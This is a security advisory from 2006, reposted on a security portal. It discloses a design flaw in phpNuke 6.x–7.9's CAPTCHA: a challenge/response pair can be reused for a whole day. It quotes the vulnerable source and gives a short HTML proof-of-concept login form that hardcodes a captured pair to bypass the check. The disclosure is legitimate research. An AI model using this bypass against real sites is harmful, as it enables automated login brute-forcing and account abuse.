Waraxe IT Security Portal
Login or Register
September 20, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 171
Members: 0
Total: 171
Full disclosure
Stored XSS in "Edit Profile" - htmlyv2.9.9
Stored XSS in "Menu Editor" - htmlyv2.9.9
Backdoor.Win32.BlackAngel .13 / Unauthenticated Remote CommandExecution
Backdoor.Win32.CCInvader. 10 / Authentication Bypass
Backdoor.Win32.Delf.yj / Information Disclosure
SEC Consult blog :: Microsoft Windows MSI Installer - Repair to SYSTEM - A detailed journey (CVE-2024-38014) + msiscan tool release
Stored XSS to Account Takeover - htmlyv2.9.9
APPLE-SA-09-16-2024-10 macOS Ventura 13.7
APPLE-SA-09-16-2024-9 macOS Sonoma 14.7
APPLE-SA-09-16-2024-8 iOS 17.7 and iPadOS 17.7
APPLE-SA-09-16-2024-7 Xcode 16
APPLE-SA-09-16-2024-6 Safari 18
APPLE-SA-09-16-2024-5 visionOS 2
APPLE-SA-09-16-2024-4 watchOS 11
APPLE-SA-09-16-2024-3 tvOS 18
[waraxe-2006-SA#045] - Bypassing CAPTCHA in phpNuke 6.x-7.9






Author: Janek Vind "waraxe"
Date: 18. February 2006
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-45.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpNuke 6.0 - 7.9

Homepage: http://phpnuke.org/


What is phpNuke ?

PHP-Nuke is a news automated system specially designed to be used in Intranets and
Internet. The Administrator has total control of his web site, registered users, and
he will have in the hand a powerful assembly of tools to maintain an active and 100%
interactive web site using databases.


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

So what's the CAPTCHA? From wikipedia: http://en.wikipedia.org/wiki/Captcha

A captcha (an acronym for "completely automated public Turing test to tell computers
and humans apart") is a type of challenge-response test used in computing to determine
whether or not the user is human. The term was coined in 2000 by Luis von Ahn, Manuel
Blum, and Nicholas J. Hopper of Carnegie Mellon University, and John Langford of IBM.
A common type of captcha requires that the user type the letters of a distorted and/or
obscured sequence of letters or digits that appears on the screen.

Phpnuke is using very simple form of CAPTCHA (called "security code"), which will try
to resist against automated actions - login bruteforce, account creation DoS, ect.
As usual, we can use OCR software for "guessing" the security code. In most of the cases
this will succeed, but what is more important - phpNuke's CAPTCHA has very big design flaw.
It appears, that nuke CAPTCHA's challenge and response are reusable as many times as we
need.

Details
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's look at source ("mainfile.php" line ~ 898):

----------------[ from source code ]------------------

function loginbox() {
global $user, $sitekey, $gfx_chk;

mt_srand ((double)microtime()*1000000);
$maxran = 1000000;
$random_num = mt_rand(0, $maxran);
$datekey = date("F j");
$rcode = hexdec(md5($_SERVER['HTTP_USER_AGENT'] . $sitekey . $random_num . $datekey));
$code = substr($rcode, 2, 6);

----------------[ /from source code ]-----------------

We can see, that challenge is called "$random_num" and response "$code" is constructed
from various parts. And this algrithm means, that some specific challenge will have same
response in following conditions:

1. It must be same day (because of the "$datekey")
2. HTTP_USER_AGENT must be the same

So how to exploit this design weakness. First we need working challenge/response pair
from "victim" server. For this let's look at CAPTHA picture with numbers at login page.
Right mouse click on that picture and (in case of IE) --> properties-->address , and we
can see picture url, something like this:

"http://localhost/nuke78/modules.php?gfx=gfx&random_num=112652"

Let's write down "random_num", this is our challenge number. Now just look at the same picture and
you will see response number, in this case "304380".
So challenge/response pair for this day is 112652/304380.
And then just implement this knowledge in script or whatever else. As example, there is
html code for very simple proof of concept:


[------ real life exploit ------]

<html>
<head>
<title>phpNuke CAPTHCA bypass POC</title>
</head>
<body>
<center>
<br><br><br><br>

<form action="http://localhost/nuke78/modules.php?name=Your_Account" method="post">

Username: <input type="text" name="username" size="15" maxlength="25"><br>
Password: <input type="password" name="user_password" size="15" maxlength="20"><br>

<input type="hidden" name="random_num" value="112652">
<input type="hidden" name="gfx_check" value="304380">

<input type="hidden" name="op" value="login">
<input type="submit" value="Login">

</form>
<br><br><br><br>
</center>
</body>
</html>

[----- /real life exploit ------]



See ya next time and have a nice day ;)



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

There is no easy way to write bulletproof CAPTCHA for phpnuke. Let's hope, that
8.x branch will bring some better solutions.


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greetz to LINUX, Heintz, y3dips, shai-tan, slimjim100, zer0-c00l and
all other active members from waraxe forum !

Raido Kerna - tervitused!


Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

HDD data recovery - http://www.hdd911.com/

DX expeditions database - http://www.dxdb.com/


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2006-02-18 (22430 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 540
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
Cybercrime news
Life Imitates xkcd Comic As Florida Gang Beats Crypto Password From Retiree
Cyber Crooks Strut Away With Haute Couture Harvey Nichols Data
Marko Polo Hackers Found To Be Running Dozens Of Scams
Hackers Demand $6 Million From Seattle Airport Operators
Recent WhatsUp Gold Vulnerabilities Possibly Exploited In Ransomware Attacks
Cops Across The World Arrest 51 In Orchestrated Takedown Of Ghost Crime Platform
France Uses Tough, Untested Cybercrime Law To Target Durov
Ransomware Group Leaks Data Stolen From Kawasaki Motors
Old WHOIS Domain Could Have Issued Fraudulent TLS/SSL Certs
Hackers Use Cloud Services To Target Financial And Insurance Firms
When You Pay A Ransom And The Decryptor Doesn't Work
Crypto Scams Rake In $5.6B A Year For Lowlifes, FBI Says
Cisco Merch Shoppers Stung In Magecart Attack
Planned Parenthood Confirms Attack Claimed By RansomHub
Russian Doppelganger Campaign Exposed
FBI: North Korea Aggressively Hacking Cryptocurrency Firms
RansomHub Claims 210 Victims In Just 6 Months
US Government Issues Advisory On Ransomware Group Blamed For Halliburton Cyberattack
Cybercrime And Sabotage Cost German Firms $300 Billion In Past Year
Hunters International Ransomware Gang Threatens To Leak US Marshals Data
EDR Killer Ransomware: What It Is, How To Repel
Cisco Calls For UN To Revisit Cybercrime Convention
Digital Wallets Can Allow Purchases With Stolen Credit Cards
Russian Sells Almost 3,000 Logins, Gets 40 Months In Jail
Kimble To Be Extradited From New Zealand After 12 Year Fight With US
Hacker news
Cyber Crooks Strut Away With Haute Couture Harvey Nichols Data
Marko Polo Hackers Found To Be Running Dozens Of Scams
Hacker Uses Telegram Chatbots To Leak Data
Hackers Demand $6 Million From Seattle Airport Operators
FBI Boss Says China Burned Down 260,000 Device Botnet When Confronted By Feds
British MPs And International Organizations Hacked On X
CloudImposer Attack Targets Google Cloud Services
Cops Across The World Arrest 51 In Orchestrated Takedown Of Ghost Crime Platform
Predator Spyware Kingpins Added To US Sanctions List
Ransomware Group Leaks Data Stolen From Kawasaki Motors
1.3 Million Android-Based TV Boxes Backdoored
23andMe Settles Class Action Breach Lawsuit For $30 Million
20 Gigs Of Data Supposedly Stolen From Capgemini
Fortinet Admits Miscreant Got Hold Of Customer Data In The Cloud
Evasion Tactics Used By Cybercriminals To Fly Under The Radar
Hackers Use Cloud Services To Target Financial And Insurance Firms
BT Spots 2,000 Potential Attacks On Its Network A Second
Chinese Hackers Linked To Syndicate Arrested In Singapore
Hacker Steals Data On 300k From Avis
When You Pay A Ransom And The Decryptor Doesn't Work
NPD Breach Underscores The Need For Stronger Digital Identities
Microsoft Says Windows Update Zero-Day Being Exploited To Undo Security Fixes
Electronic Payment Firm Slim CD Notifies 1.7M Customers Of Data Breach
Crypto Scams Rake In $5.6B A Year For Lowlifes, FBI Says
Cisco Merch Shoppers Stung In Magecart Attack
Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.034 Seconds